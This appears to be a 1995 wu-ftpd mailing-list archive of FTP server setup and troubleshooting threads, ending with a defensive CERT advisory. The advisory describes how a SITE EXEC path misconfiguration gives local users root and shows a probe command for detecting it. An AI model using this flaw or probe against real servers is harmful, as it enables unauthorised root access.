Content-transfer-encoding: 7BIT X-Mailer: LeeMail 2.0.3 X-Listprocessor-Version: 7.1 -- ListProcessor by CREN Hello all, If this list is still alive: I've compiled wu-ftpd-2.4 on an SGI running IRIX 5.3. Everything works except the "site exec" command. I think ftpcmd.y->ftpcmd.c isn't working properly, but I've been unable to determine why. The ftpd returns "command not understood", which seems to be a parsing problem, rather than the layout of ftp-exec being wrong. It worked under ftpd-2.0 before I upgraded! Any help is most appreciated. I can't get subscribed, so e-mail me personally if you would. Thanks!

I recently installed shadow on my system and my users who have private ftp directories cannot access it anymore! Here is how it looks in my /etc/passwd: guest1:x:1157:100:guest1:/home/guest1/./:/etc/ftponly As a temporary solution, I copied the password in my shadow file and replaced it where the 'x' was: guest1:ENCRYPTED PASSWD:1157:100:guest1:/home/guest1/./:/etc/ftponly Obviously the is something wrong with the shadow but what is it? I suspect wu-ftpd because my friend has the older version (wu-ftpd 2.4) and he has no problems and I am exactly configured like his system except that I have the beta-5 of wu-ftpd 2.4 I recompiled wu-ftpd 2.4.2 beta 5. But before recompiling, I edited the config.h file and changed the following thing: #undef SHADOW_PASSWORD for #define SHADOW_PASSWORD How come it is not working when the password is shadowed? Take note that the rest is working perfectly. The anonymous ftp is working fine. Can someone help me?

As some of you may recall, 2-3 weeks ago, I was struggling desperately to get guestgrousp to work correctly under BSDI. The two issues that remained unresolved until last week were related to 'ls': 1) while group names showed up as names, owner names showed up as numbers and 2) the timestamps for files were in GMT instead of local time. Despite several helpful hints from a couple of folks on this list, I was unable to solve the above problems. However, as I was working with another sysadmin a week or so ago, I learned about the "config_anonftp" utility that ships with BSDI -- this provided me with the missing pieces I needed. To whomever is maintaining whatever FAQ's for this wu-ftp, please add the following info: Setting up guestgroup for wu-ftp under BSDI 2.0.x: 1) Read the HOWTO document (available from Michael Brennen ) 2) The following directories and files need to be created in whatever directory/ies are being chrooted to (~ftp for anon ftp or for whatever directory guest users are chrooted): drwxr-xr-x root/wheel 0 Nov 3 01:43 1995 bin/ -r-xr-xr-x root/wheel 12288 Nov 3 01:43 1995 bin/compress -r-xr-xr-x root/wheel 45056 Nov 3 01:43 1995 bin/gzip -r-xr-xr-x root/wheel 12288 Nov 3 01:43 1995 bin/ls -r-xr-xr-x root/wheel 65536 Nov 3 01:43 1995 bin/pax drwxr-xr-x root/wheel 0 Nov 3 01:43 1995 etc/ -r--r--r-- root/wheel 793 Nov 3 01:43 1995 etc/group -r--r--r-- root/wheel 817 Nov 3 01:43 1995 etc/localtime -r--r--r-- root/wheel 40960 Nov 3 01:43 1995 etc/pwd.db drwxr-xr-x root/wheel 0 Feb 3 12:34 1995 pub/ drwxr-xr-x root/wheel 0 Nov 3 01:43 1995 shlib/ -r-xr-xr-x root/wheel 298407 Nov 3 01:43 1995 shlib/libc_s.2.0 The permissions above are probably NOT what you want; you should follow previously published guidelines regarding secure permissions (especially for anon ftp). I reccommed tackling permissions a directory at a time and then re-testing the guest login to verify everything still works as expected (ie, 'ls'). If something stops working, back out your last change! 3) Re: localtime -- I'm not clear on all the logistics of this file; I know that it was not in the real /etc directory of the machines I am working with but I snarfed it from another BSDI 2.0 system. I *immediately* had to reset the system date (as root). 4) Re: pwd.db -- this files needs to be copied from the real /etc. I'm not sure (yet) if stripped down version of passwd is required or not -- I have one in my ~ftp/etc/ directory leftover from previous attempts. I'm fairly certain that /etc/pwd.db has to be copied to ~ftp/etc everytime you add a new user to whatever groups you have set up with guestgroup. Hope this helps! Darci Chapman -- Darci L.

I was wondering is there anyway to get ftp to follow symlinks back. ie like when you set symlinks=expand in tcsh Here is what I have. Users in the group nobody are put in the guestgroup so they get chrooted to the directory below their home dir. So /home/www/username is their home dir and they are chrooted to /home/www. Now I have a nfs mount point in /home/www/htdocs that mounts the htdocs directory on another machine. I then put a symlink in the users directory to point to ../htdocs/their-dir. Now I want it to come back to their home directory when a cd .. is done. Can something be done with cdpath or alias? Also is there anyway to set environment variables when people ftp in and then set the ownership for the upload in ftpaccess to the variable. The second problem is I have the users primary group set to nobody. I then have secondary groups that I create on both machines (ie the one users have an account on and the one that is mounted) All the users that need write permissions to the dir over on the mounted machine gets added to the appropriate group. What I would like is for the ownership to be some-owner (either www or the user) and then the secondary group that they belong to. Possible solution I have thought of: Making the secondary group the primary group for the user. cons: I would have to add a bunch of groups to the guestgroup in ftpaccess or add the users to another secondary group like nobody Plus not every user needs this setup and I would have to decide this when setting up the account or go back and change everything. Is there another way?

Then, send SIGHUP to inetd: > > kill -1 Yanming's suggestions were right on the money. You may also want to check "/etc/services" to make sure that the FTP line isn't commented out. Basically, the root cause of what you're seeing is, in all probability, that (for whatever reason) the ftpd isn't answering on the port (21). You can telnet directly to the port with something like "telnet localhost 21". If everything is set right, you should get a session along the lines of: ---------------------------------------------------------------------------- {bobd 63} telnet localhost 21 Trying 128.146.116.63... Connected to localhost.acs.ohio-state.edu. Escape character is '^]'. 220 barney FTP server (Version wu-2.4.2-academ[BETA-7](1) Tue Oct 24 15:25:12 EDT 1995) ready. quit 221 Goodbye. Connection closed by foreign host. ---------------------------------------------------------------------------- The other thing may be that for some reason, the place you reference in "/etc/inetd.conf" isn't where the wu-ftpd daemon really is located. You'll want to double check this probably. My "/etc/inetd.conf", for example, looks like: ftp stream tcp nowait root /usr/local/etc/ftpd ftpd -al You may also want to look through the ftpd man page on your SGI (better yet, look through the ftpd man page that came with wu-ftpd) for installation/activation instructions. I checked the SGI "chkconfig" to see if there is an "ftp" switch, but apparently not, so that wouldn't be the problem (though other networking related switches could be as a remote possibility). If you didn't kill inetd with a HUP signal ( kill -HUP ), the modified "/etc/inetd.conf" (or "/etc/services" for that matter) configurations wouldn't have gotten loaded by the running inetd (Yanming did point this out in his message, I'm just repeating it in case you overlooked it for some reason). I hope this helps. would From owner-wu-ftpd@wugate.wustl.edu Wed Nov 8 11:25:35 1995 X-Delivered: at request of bill on camco Return-Path: Received: from camco1.celestial.com by camco.celestial.com with smtp (Smail3.1.29.1 #1) id m0tDG7r-000DUaC; Wed, 8 Nov 95 11:25 PST Received: from wugate.wustl.edu by camco1.celestial.com with smtp (Smail3.1.29.1 #1) id m0tDEOa-0004YfC; Wed, 8 Nov 95 09:34 PST Received: from host by wugate.wustl.edu (8.6.12/8.6.11) with SMTP id LAA24918; Wed, 8 Nov 1995 11:16:02 -0600 Received: from preview.jf.intel.com by wugate.wustl.edu (8.6.12/8.6.11) with ESMTP id KAA23703 for ; Wed, 8 Nov 1995 10:59:38 -0600 Received: from preview.jf.intel.com (dchapmax@loopback.jf.intel.com [127.0.0.1]) by preview.jf.intel.com (8.6.12/8.6.9) with ESMTP id IAA25918; Wed, 8 Nov 1995 08:58:46 -0800 Message-Id: <199511081658.IAA25918@preview.jf.intel.com> Date: Wed, 08 Nov 1995 08:58:45 -0800 Reply-To: wu-ftpd@wugate.wustl.edu Sender: owner-wu-ftpd@wugate.wustl.edu From: Darci Chapman To: wu-ftpd@wugate.wustl.edu Cc: hm@seneca.han.de (Harald Milz) Subject: Re: htm -> html ftpconversion entry In-Reply-To: hm's message of Tue, 07 Nov 1995 20:20:00 +0100.

I installed Slackware on at least 25 machines at work and as a side note I replaced the ftpd on our IBM RS/6000 boxes with wu-ftpd because it is so much more configurable and has better logging capabilities.

MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: harrism@ipc001 X-Listprocessor-Version: 7.1 -- ListProcessor by CREN Hi Folks, I was wondering if there is any special incantation you have to perform in order to get the wu-ftpd (ftpd) daemon to grant FTP access to users who have real login accounts on my system. This particular system is a Sun SPARC-IPC running SunOS 4.1.3_U1B, and I use the -al flags on my /etc/inetd.conf ftpd entry for logging and stuff. I am also curious to know if I have to do something in the ftpd.c code to have it do a chdir() to the user's local directory instead of the chroot() call that is currently there. Hmmm.... If anyone can help, I would be eternally grateful! Direct replies are appreciated, but I'll take 'em any way I can get 'em. Have a good one! Marcus E.

Last time I got that error message was when I copied the ftp-setup to another machine. Because of the special files in the dev directory I used cpio. Turned out that cpio on Solaris 2.4 (SPARC and x86 version) doesn't put the major device number in the cpio-archive unless you use the -c option (which, according to the man page, is needed "when the origin and the destination machines are different types"): % ls -l crw-rw-rw- 1 root ftp 11, 42 Apr 4 1995 tcp crw-rw-rw- 1 root ftp 99, 1 Apr 4 1995 ticotsord crw-rw-rw- 1 root ftp 11, 41 Apr 4 1995 udp crw-rw-rw- 1 root ftp 13, 12 Apr 4 1995 zero % ls | cpio -o | cpio -itv crw-rw-rw- 1 root ftp 0, 42 Apr 4 16:13 1995, tcp crw-rw-rw- 1 root ftp 0, 1 Apr 4 16:13 1995, ticotsord crw-rw-rw- 1 root ftp 0, 41 Apr 4 16:13 1995, udp crw-rw-rw- 1 root ftp 0, 12 Apr 4 16:13 1995, zero but: % ls | cpio -oc | cpio -itv crw-rw-rw- 1 root ftp 11, 42 Apr 4 16:13 1995, tcp crw-rw-rw- 1 root ftp 99, 1 Apr 4 16:13 1995, ticotsord crw-rw-rw- 1 root ftp 11, 41 Apr 4 16:13 1995, udp crw-rw-rw- 1 root ftp 13, 12 Apr 4 16:13 1995, zero Probably I don't use cpio often enough ... :-) -- Jelle van Zeijl - jelle@west.nl - West Consulting B.V. -- From owner-wu-ftpd@wugate.wustl.edu Thu Nov 9 08:27:09 1995 X-Delivered: at request of bill on camco Return-Path: Received: from wugate.wustl.edu by camco.celestial.com with smtp (Smail3.1.29.1 #1) id m0tDZoU-000CmtC; Thu, 9 Nov 95 08:26 PST Received: from host by wugate.wustl.edu (8.6.12/8.6.11) with SMTP id KAA10776; Thu, 9 Nov 1995 10:20:18 -0600 Received: from pizza.hvu.nl by wugate.wustl.edu (8.6.12/8.6.11) with SMTP id KAA10548 for ; Thu, 9 Nov 1995 10:18:53 -0600 Received: by pizza.hvu.nl (5.0/KH19950725) id AA18639; Thu, 9 Nov 1995 17:18:58 +0100 Message-Id: <9511091618.AA18639@pizza.hvu.nl> Date: Thu, 9 Nov 1995 17:18:58 +0100 (MET) Reply-To: wu-ftpd@wugate.wustl.edu Sender: owner-wu-ftpd@wugate.wustl.edu From: koos@pizza.hvu.nl (Koos van den Hout _U nix and we all_) To: wu-ftpd@wugate.wustl.edu Subject: Re: problems In-Reply-To: <9511091501.AA06285@dpr.cs.gmr.com> from "Doug Rheaume CS/50" at Nov 9, 95 10:01:50 am Content-Type: text X-Mailer: ELM [version 2.4 PL24alpha5] X-Listprocessor-Version: 7.1 -- ListProcessor by CREN Quoting Doug Rheaume CS/50, who wrote : > > I have just installed ftpd on a SUN Sparc 20 machine running Solaris 2.4 > > > > Everything works OK when I login as a real user. > > However, when I login as anonymous, > > I get the following error when I type ls, dir, get, etc. > > > > Can't create data socket (0.0.0.0,20): Bad file number > > > > I have looked at the /var/adm/mesages and there isn't any errors recorded. > > > > Any suggestions/pointers ??

Replies to this enquiry should be sent directly to "Q.G.Campbell@ncl.ac.uk". We have installed WU-ftpd, version 2.4(6), under Solaris 2.3. It replaced an older version of the WU-ftpd that we had been running on a SunOS 4.1.3 system. The new FTP Archive under Solaris appeared to work fine when tested from ftp clients on other Sun systems. Problems arose, however, with the FTP 'ls' command when the clients were HP-UX systems or when Netscape running on Novell-PC clusters attempted anonymous access and tried to present the files in the directories from /pub downwards. We tracked the problem down to the "LIST" command emitted by the FTP client end. We were surprised to discover that the FTP 'ls' command emitts "LIST" on some systems (eg HP-UX) and "NLST" from other clients (eg Suns). Our problem is that the FTP daemon on the Solaris system does not respond to either the "LIST" command or the "NLST -l" command that it receives from the client. "NLST" however works OK. The 'ls' binary in the FTP daemons "/bin" directory behaves as expected when the root user does, say, "./ls -l" or "./ls -la". If there is an FAQ list for the WU FTP daemon we would welcome info on pointers to where a current version can be obtained. Thanks in anticipation of help.

I told myself to stay out of this, but now I just can't help it. Why do these files need to be renamed at all? Every HTTP server I know of can be configured to treat *.htm files the same as *.html files. For instance, the NCSA httpd looks at a file called 'mime.types' in its configuration directory. In order to have *.htm map to *.html, it should have this line: text/html html htm At least one of our users is using FTP on a PC to ship *.htm files into our Web filespace and he is not bothering to rename the files from *.htm to *.html and we are serving those files with no problems.

Also, Bryan O'Connor (the original author of wu-ftpd) is no longer providing support for wu-ftpd. Therefore, in order to minimize confusion in the future, a few simple changes have been made to the INSTALL file included in the distribution. These changes occur at the end of the file, and are included here for convenience: -- begin quote -- 14. There are two mailing lists available that discuss the server. They are wu-ftpd and wu-ftpd-announce. To subscribe to either list, send a message to listproc@mail.wustl.edu with no subject and "subscribe " in the body of the message. Please note that the field is required, and should be your NAME, not your e-mail address (the e-mail address is determined automatically). 15. Note: Bryan O'Connor no longer provides support for wu-ftpd. Please do not send him mail about wu-ftpd; instead, direct inquiries to the mailing list mentioned above. Thanks. -------------- wu-ftpd 2.4 written by Bryan O'Connor -- end quote -- These changes are obviously not enough to warrant a new version number; however, the changes have been incorporated into a new .tar.Z to facilitate automatic updating of the distribution on various mirror sites. The revised version can be found at: wuarchive.wustl.edu:/packages/wuarchive-ftpd/wu-ftpd-2.4.tar.Z with size (in 1024K blocks) and date: 187226 Nov 13 17:16 The CHECKSUMS file has been updated with the checksums for the new .tar.Z-file (the 2.3 -> 2.4 patch and its checksum remain unchanged, as the patch does not affect the INSTALL file). If you mirror/carry wu-ftpd 2.4 on an FTP site, or know of an FTP site that does, please encourage them to get the newest revision; it will save everyone a few headaches in the long run. If you have any questions concerning this minor change, feel free to mail me at the address below. (I'll probably post the question and the reply to the list for the benefit of everyone.)

The reason I called it the "release" version is because, as far as I know, 2.4 is the last "official" release. There are other versions available because there are other people working on newer releases, since Bryan is no longer working on the project. I e-mailed Bryan about this, and he responded as follows: -- begin quote -- There is a group of people led by Stan Barber (sob@academ.com) that are working on a new release. The beta version of this release is at: ftp://ftp.academ.com/pub/wu-ftpd/private/wu-ftpd-2.4.2-beta-6.tar.Z I had nothing to do with it -- I only know about it because they talk about it on the wu-ftpd list. -- end quote -- Unfortunately, since no one has "officially" taken over the wu-ftpd development process, more than one group of people have put together their own "next version". Your best bet would be to post to the list about it (I'm cc'ing this to the list, so that might solve your problem). Andy Ellsworth | "...The wind was not the beginning.

I have a few questions regarding the ftpconversions file. I currently have wu ftp-2.4 built and installed on a Solaris 2.4 machine, I am not having any problems with ls, dir or access. My problem is as follows. When I ftp into our archive and type get file.tar when the actual file is file.tar.gz the archive correctly responds and uncompresses the file. Unfortunately when I try to download the file with Netscape and uncompress it on the fly then Netscape is not uncompressing. How does one compensate. Should this be defined in the .mailcap or .mime.types files instead of the ftpconversions ?

I've tried it on SunOS and it only works in certain circumstances. I believe there is a problem in the wu-ftpd but I didn't get any response from the list or wuftp-bugs mail.

There was NO NFS problem with creating files as root in the shell but there WAS a problem running through wu-ftpd. The kludge fix I made was to have the incoming file owned by ftp (The only usercode it would allow) and change the mode to 000.

Can someone please > explain this to me? Thanks for all of the suggestions anyway. Not sure precisely why it changed it, unless it has to do with pattern matching the path in ftpaccess. Too much other stuff to do to stop to look at the code right now. However -- I would remove the /bin/ksh as the shell and put in /etc/ftponly, where /etc/ftponly does not exist but is found listed in /etc/shells. This will make it more secure from someone using the ftp login from a terminal. Granted, with locked password it should be okay, but it is something I would close up for completeness.

Every time I log in to the wu-ftpd server as a user (myself) it goes into passive mode without a problem, saying: 227 Entering Passive Mode (198,112,160,40,164,30) as it should. However, whenever I log in as user anonymous, it *rejects the PASV command* which is an extreme irritation as most web browsers these days use that command to initiate FTP connections. Here's the message that I get when I issue the PASV command as anonymous: 425 Can't open passive connection: Permission denied. Please help me to solve this problem. I am running wu-ftpd 2.4 on a Solaris 2.4 Sparc 20. I don't know whether the wu-ftpd has been patched. Interestingly, the problem is not restricted to wu-ftpd - I tried the Solaris ftp daemon and it wouldn't let the anonymous user make a passive connection either. It said: 425 Can't open passive connection without saying anything about permissions. Re permissions: the directories look fine, and you can literally do everything as anonymous that one would expect to be able to do, *except* enter passive mode. Please help!!!!! My site is www.ichange.com, if you want to see what it does just connect via telnet to port 21. This will let you issue the standard FTP commands and see the server's responses. Thanks very much.

I got a problem here and would like to know if any of you could help me... I installed the WU-FTPD on a machine, but, after adding the proper line to the inetd.conf and killing -HUP, the inetd daemon, when I try to FTP the machine, it prompts for a login and instead of prompting for a password, it returns me the following message: 421 Service not available. Remote server has closed the connetion. I commented out the shutdown command on the ftpaccess and even deleted the line, but it didn't work.. I was wondering... Maybe this is a problem with some of the configuration files.... Does anybody knows what is going on ??? By the way..

When trying to compile your FTP-server, I encounter a little problem. All the support files, etc, compile fine, but not the ftpd. So far the little problem :-) The first strange thing, is the Makefile for the support-library. It does not work, but with some handwork (no alterations) the library could be created. Second thing are the errors from compiling the ftpd. The information I can give you is the following: Versions I use: Compiler: gcc 2.6.3 Make : GNU 3.71 Linux : 1.1.78 Also, I did not make *ANY* alterations whatsoever.

There is at least one FTP server I know of who patched ls not to accept "R" for recursive listings (but another capital letter instead). Get GNU ls, patch the getopt() part and there you go. People mirroring off your site with mirror must be told about this, however, so that they can set proper flags_recursive.

Speaking of this sort of thing, I have seen a number of FTP servers that use internal 'ls' substitutes which saves you from having to fork()/exec() an ls all the time. Is there anywhere that I can find patches for wu-ftpd to do this? Something like builtin 'ls' would be a good thing to add to the 2.4-academ releases.

I've got wu-ftpd V2.4 running on AIX3.2.1 on three RS6000's. On two of the machines I have no problems but on the third anonymous ftp refuses to run. I login in ok, it accepts the password, says guest account... then the server dies. Any command then returns with the message "server shutting down". I've gone through the configuration many times and still can't find what is wrong. I've even recompiled several times with no luck. >From print statements that I placed in the server code I found out that it dies when it gets into the loop that parses commands etc. Anyone has any ideas? -Feisal Feisal Mohammed Dept of Mech Eng.

All I've ever seen is code to avoid the exec -- but the fork is still done, mostly to handle quoting of CR/LF trivially... just take gnu or bsd ls, rename main to ls(), and hook it in. If someone has patches to avoid the fork as well, I'd certainly like to see them (I don't expect it to be hard, but I've seen numerous requests for it, and haven't seen it actually done...) _Mark_ Cygnus Support, Eastern USA From owner-wu-ftpd@wugate.wustl.edu Mon Nov 20 12:43:16 1995 X-Delivered: at request of bill on camco Return-Path: Received: from wugate.wustl.edu by camco.celestial.com with smtp (Smail3.1.29.1 #1) id m0tHd3R-000DCUC; Mon, 20 Nov 95 12:43 PST Received: from host by wugate.wustl.edu (8.6.12/8.6.11) with SMTP id OAA15227; Mon, 20 Nov 1995 14:36:00 -0600 Received: from solair1.inter.NL.net by wugate.wustl.edu (8.6.12/8.6.11) with SMTP id OAA14878 for ; Mon, 20 Nov 1995 14:32:42 -0600 Received: from rt98-11.Rotterdam.NL.net by solair1.inter.NL.net (5.65b/solair1.Inter.NL.net-1.31) id AA26834; Mon, 20 Nov 1995 21:32:36 +0100 Message-Id: Date: Mon, 20 Nov 1995 21:33:40 +0100 (MET) Reply-To: wu-ftpd@wugate.wustl.edu Sender: owner-wu-ftpd@wugate.wustl.edu From: "R.R.

True, but who's gonna support your patched WU-Archive daemon?! At least the FUNIC server is supported! By a bunch of ppl knowing what an ftpd should do, and what it should not! But, have it your way.

I see forked ls's all over the place on our system. It is a big problem because people do 'ls -lR' in the root and then log out, leaving the ls running sucking CPU and disk time. We quite often have 10 or more ls's running against dead FTP sessions.

We were running 2.4 (no patches that I know of; it was built before I was employed at this current company) until after a few months of reading this list, I decided to try out 2.4.2 beta 7. Built it, noticed shadow didn't work, so I adjusted config options and the like until shadow support was compiled in just fine. That kind of thing. Haven't changed any /etc/ftp* files, just put a new wu-ftpd daemon, that's all. Now I notice that it seems the upload keyword is no longer working, and I've verified the directories do exists, appropriate access modes, and nothing's changed there. My upload keyword consists of lines such as: upload /ftp/ftp /pub/brainy/incoming yes brainy tech 0700 nodirs Now upload won't change deposited files to appropriate username/groups. The problem first appeared when I installed the new ftpd that has, as far as I can tell, the same configuration as the old ftpd, differing only in version numbering, bug fixes, and virtual domain support. Also, I've made sure Virtual Domain support was built in this ftpd, used the virtual keyword as: virtual 198.70.51.52 /ftp/ftp/pub/forte /ftp/ftp/pub/forte/00readme.txt I know virtual domains in the general sense works because I can telnet to ftp.fortech.com, nslookup shows the appropriate IP address, etc. FTP to it and all. We made sure each IP address got only one hostname associated with it, etc. Not sure why the virtual keyword isn't displaying the banner file (the last argument in the line). BTW, every time I modify any /etc/ftp* files, should I kill -HUP the ftpd or something?

My symptoms sound like yours - Works fine with a local disk - can write as root to the NFS disk (so is allowed by exports) - Get an empty file when trying to upload. - Get an NFS write error 13 (permission denied) in /var/adm/messages My workaround was a hack but anyway make the upload directory chown to ftp and mode 000 !!! people can then write to it -- can't read it because of the mode and can't overwrite it because wu-ftpd won't allow it.

Make sure the exporting machine has allowed write access to the shared disk, and that wuftpd is running with the appropriate priveleges.

The NFS partition is exported correctly, even tried the root= directive. Authorized (real) users may write to that NFS directory via FTP, while root may of course write from shell. Here's the exported directory on the server: drwxrwx-wx 2 root yyy 512 Nov 22 10:14 incoming It is only with user ftp that the error occurs. Here's the message: Nov 20 16:18:42 ftp vmunix: NFS write error 13 on host otherhost fh 70c 1 a0000 dea6 57483821 a0000 2 67aeeac1 The NFS server doesn't have a message for me. We're not seeing "permission denied" or anything. I'm pretty confident I've done everything right - but who isn't? Here are my appropriate ftpaccess lines: path-filter anonymous /etc/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^- delete no guest,anonymous overwrite no guest,anonymous rename no guest,anonymous chmod no guest,anonymous umask no guest,anonymous upload /export2/ftp /incoming/xxx yes root yyy 0660 nodirs where xxx is the NFS-mounted partition under ~ftp/incoming. yyy is the group I'd like to use so "real" users can pick up the files. /export2/ftp is the UFS partition/direcory we mount on.

Thanks! Interesting problems like this is what sysadmins live for! ;-) Perhaps poking around after doing a 'chroot ~ftp /bin/csh' will give you some additional clues. This more closely simulates the ftp server filesystem environment without having the server itself in the equation. +Keith From owner-wu-ftpd@wugate.wustl.edu Wed Nov 22 13:03:21 1995 X-Delivered: at request of bill on camco Return-Path: Received: from wugate.wustl.edu by camco.celestial.com with smtp (Smail3.1.29.1 #1) id m0tIMK1-0006sPC; Wed, 22 Nov 95 13:03 PST Received: from host by wugate.wustl.edu (8.6.12/8.6.11) with SMTP id OAA19283; Wed, 22 Nov 1995 14:56:51 -0600 Received: from cantva.canterbury.ac.nz by wugate.wustl.edu (8.6.12/8.6.11) with ESMTP id OAA19108 for ; Wed, 22 Nov 1995 14:55:00 -0600 Received: from huia (pete@cosc.canterbury.ac.nz) by csc.canterbury.ac.nz (PMDF V4.3-13 #7295) id <01HXZ8JALHI8MTV4M8@csc.canterbury.ac.nz>; Thu, 23 Nov 1995 09:54:42 +1300 Received: (from pete@localhost) by huia (8.6.11/8.6.9) id JAA18976 for wu-ftpd@wugate.wustl.edu; Thu, 23 Nov 1995 09:54:26 +1300 Message-Id: <199511222054.JAA18976@huia> Date: Thu, 23 Nov 1995 09:54:26 +1300 Reply-To: wu-ftpd@wugate.wustl.edu Sender: owner-wu-ftpd@wugate.wustl.edu From: Pete Glassenbury To: wu-ftpd@wugate.wustl.edu Subject: Re: SunOS 4.1.1 wu-ftpd-2.4 nfs mounted uploads Content-transfer-encoding: 7BIT X-Envelope-to: wu-ftpd@wugate.wustl.edu X-Listprocessor-Version: 7.1 -- ListProcessor by CREN > > > > I have wu-ftpd-2.4 running on SunOS 4.1.1.

Ok -- Finally there is someone else that is having the same problem (I was beginning to feel it was just me) This is EXACTLY the same problem -- Yanming PENG was helping me diagnose things yesterday and after copying a few binaries temporarily to the ~ftp/bin directory I could do chroot ~ftp bin/chown root incoming/fred And it worked the way it should !! so it seems like root can chown and do things ok on the disk through the chroot We are running Beta6 but I didn't see anything in the docs of Beta7 that might fix it -- probably worth a go though...

I have got some problems compiling the wu-ftp daemon 2.4 on the OS Linux ! I have read the INSTALL file that tells what has to be done. So I have done the following steps so far: 1. I changed the path-variables in the src/pathnames.h file so they fit to my environment. Only exceptions are the variables _PATH_EXECPATH and _PATH_PIDNAMES as I actually do not know what kind of paths this are. Do this file get automatically created, or where can I get ftp-exec ?! 2. I started the "build lnx" command and got a lot of error messages, that look like this: make args are : make opts are : Linking Makefiles. Making support library. Makefile:13: *** missing separator.

Otherwise only "ls" in the anon-ftp user interface works but not "ls -l" which gives no output at all. Surely someone has found out this, but I've never found a hint in the documentation. Maybe there's another workaround, but this works.

The only workaround I have that leaves things secure (I hope) is to have incoming owned by ftp and the owners of files ftp and the mode 0000 (ftp is the ONLY user that can be used in ftpaccess -- ANY others fail with the same error) The line out of ftpaccess says upload /usr/local/cosc/etc/ftp /incoming yes ftp staff 0000 nodirs So I think we are eliminating a lot of the common problems but seem no closer to solving it Anyone with any other thoughts??

Just to let you know, we're also running DU here at wuarchive, and even with the patched 2.4 version we still get timeouts. Haven't tried the new 2.4.2 beta though. I suppose it's entirely possible that it's the OS, rather than the ftpd, that's causing the problems; goodness knows we've had several problems that seem to be rooted in the OS.

Since I installed wu-ftpd 2.4.2 beta 5 with shadow (I have linux with kernel 1.3.9), I get .htgroup and .htpasswd everywhere in my home directory (every directories in the /ftp and in the /pub) In the .htpasswd, I can see all the encrypted passwords with an anonymous access!!! This is the kind of things I wanted to eliminate with shadow. Here is how the permissions are when .htpasswd "appears": -rw-r--r-- And when I delete these files they reappear some time! Everytime I see those files, I do a chmod 700 on them so that only the root can see them, is it OK like that? Is there a solution to stop these files from appearing everywhere?

I skipped through the sources, and looked in some _man_uals, and found out the following. Since the user 'ftp' does not log-in for real (it does not have a real shell, except if /bin/false is linked to /bin/sh ;-), it's environment variable TZ or TIMEZONE is never set. Therefore the time-functions (as used in ftpd) read a file '/usr/lib/zoneinfo/localtime'. I had it linked to the wrong TZ-file. When I linked it to CET (the same as what I set TZ to be) ftpd displayed the correct _local_ time! Hope this will help you! +---. +---. .----, == R.R.

The error message from Netscape reads: "Netscape is unable to find the file: / Check the file name and try again". It is not a gateway or router problem, since I can duplicate the failure here on my local net. In addition, some versions of Netscape, such as the Windows version 1.2N work just fine. The folks at Netscape don't think it's their problem. I tend to agree, since I can take the "broken" version of the browser and access the ftp site at wuarchive.wustl.edu just fine!

(301) 468-6425 ---------- Forwarded message ---------- Date: Thu, 30 Nov 1995 11:46:49 -0500 From: CERT Advisory To: cert-advisory@cert.org Subject: CERT Advisory CA-95:16 - wu-ftpd Misconfiguration Vulnerability ============================================================================= CA-95:16 CERT Advisory November 30, 1995 wu-ftpd Misconfiguration Vulnerability ----------------------------------------------------------------------------- A vulnerability exists with certain configurations of the SITE EXEC command in the Washington University ftpd, also known as wu-ftpd. Exploitation of this vulnerability may allow root access from any account on the system. The vulnerable configuration is known to exist in numerous Linux distributions and is currently being actively exploited by intruders. It should be noted that this vulnerability is not necessarily limited to Linux but may exist on any wu-ftpd installation. Thus, all users of the wu-ftpd program, not just the Linux users, should take this opportunity to verify the configuration of their daemons. Note that versions of wu-ftpd before the 2.4 release contain serious security vulnerabilities and should be updated immediately. Section III contains instructions for disabling ftpd and correcting the configuration. As we receive additional information relating to this advisory, we will place it in: ftp://info.cert.org/pub/cert_advisories/CA-95:16.README We encourage you to check our README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------- I. Description There is a problem with the default configuration of the Washington University FTP Server version 2.4 in major Linux distributions, including but not limited to Slackware 2.0, 2.1, 2.2, 2.3, Yggdrasil Plug&Play Fall'94, and the Debian Distribution. By exploiting this problem, any user who is able to log into a system having the vulnerable configuration via FTP using their login, and not the anonymous login, may gain root access. Other systems besides Linux can be configured to be vulnerable although the standard wu-ftpd 2.4 source code as distributed is not vulnerable. The problem is that the variable _PATH_EXECPATH was set to "/bin" in the configuration file src/pathnames.h when the distribution binary was built. _PATH_EXECPATH should be set to "/bin/ftp-exec" or a similar directory that does not contain a shell or command interpreter, for example. The source code shipped with the Linux distributions contains the correct value ("/bin/ftp-exec") despite the incorrect distribution binary. You should verify that _PATH_EXECPATH has the correct value before recompiling. Note that the documentation for wu-ftpd states that the directory defined by _PATH_EXECPATH is relative to ~ftp, the ftp home directory as specified in the password file. This is misleading. The pathname is relative to ~ftp for anonymous users only. This pathname is relative to "/" for other user sessions. II. Impact Any user with a local account on a system offering FTP services with the vulnerable configuration may gain root access. Support for anonymous FTP access is not required to exploit this vulnerability. III. How to determine if you are vulnerable All systems running wu-ftpd should be checked to determine if the configuration is vulnerable. To test your configuration, access the ftp server using a legitimate user account (not an anonymous ftp login) and execute the following commands: srchost> ftp ftphost Connected to ftphost 220 ftphost FTP server (Version wu-2.4(2) Mon Apr 18 09:12:35 GMT+1000 1994) ready. Name (srchost:joe): 331 Password required for joe. Password: 230 User joe logged in. ftp> quote site exec echo problem 200-echo problem 200-problem 200 (end of 'echo problem') ftp> quit 221 Goodbye. srchost> If you receive the line "200-problem", your site is vulnerable. IV. Solution If you have the vulnerability, we recommend that you turn off ftpd immediately using the method described in Section A below. Once you have done that, you can then decide whether to rebuild or fetch a new ftpd binary. If you have built wu-ftpd from a source distribution, follow the steps in Sections B.2 and B.3 below. Once you have eliminated this vulnerability, turn on ftpd with the method described in Section C below. A. Disable ftpd To disable ftpd, do the following as root. 1. Shut down the FTP server using the ftpshut command. This command blocks all connections to the FTP server. For ftpshut to work correctly, the ftpaccess(5) file will need a shutdown directive that names a file used by wu-ftpd to indicate that the server is shutdown. If your ftpaccess file does not have such a directive, add one to that file. When added, use ftpshut(8) to shut down the server. Once the server has been shutdown, all new incoming FTP requests will fail. Here is an example of the ftpshut command: ftpshut now 2. Verify that the FTP service has been shut down by attempting to connect to it. You should see a message that contains a line similar to the following: hostname FTP server shut down -- please try again later where hostname is the host from which you are requesting FTP service. B. Correct the configuration Item 1 below applies to those running Debian Linux. Item 2 applies to all other Linux systems. Item 3 applies to those who are building wu-ftpd from source on systems other than Linux. 1. If you are running Debian Linux, obtain a fixed binary, available from the following location, and install this binary. 